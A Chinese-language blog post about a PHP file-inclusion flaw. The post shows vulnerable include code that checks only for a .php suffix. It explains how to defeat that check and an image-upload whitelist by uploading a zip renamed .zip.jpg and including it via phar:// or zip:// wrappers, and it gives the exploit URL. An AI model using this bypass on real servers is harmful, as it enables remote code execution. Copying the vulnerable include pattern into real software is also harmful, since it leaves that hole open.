溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

包含漏洞   文件類型白名單驗證及判斷后綴的解決辦法

發(fā)布時間:2020-07-10 09:58:56 來源:網絡 閱讀:3393 作者:serverxx0 欄目:安全技術

$include_file 可控,可以上傳文件, 上傳后綴限制為jpg,gif,png,包含后綴限制必須為.php

allow_url_include=Off (不考慮遠程包含)

if ( isset( $include_file ) && strtolower( substr( $include_file, -4 ) ) == ".php" )
        {
                include_once( $include_file );
        }


-----------------------------------------------------

解決方案

要求php>=5.3


把php打包成zip,改名上傳,比如名為info.zip.jpg
然后用phar流包裝器包含,其中info.zip.jpg為zip文件名,info.php為zip壓縮包內子文件名

http://localhost/index.php?a=phar://info.zip.jpg/info.php


測試代碼:

echo "ini_get(allow_url_include):".ini_get("allow_url_include")."";
$include_file=$_GET['a'];
if ( isset( $include_file ) && strtolower( substr( $include_file, -4 ) ) == ".php" )
{
    include_once( $include_file );
}
else
{
    echo "file err";
}

包含漏洞   文件類型白名單驗證及判斷后綴的解決辦法

參考文檔:http://php.net/manual/zh/phar.using.stream.php

PS.
據php官方文檔所述,最少需要php5.3才能使用,5.3之前需要拓展
如果不能用的話,還可以試試zip流包裝器(需要zip拓展),注意轉義井號:

zip://info.zip.jpg#info.php


向AI問一下細節(jié)

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI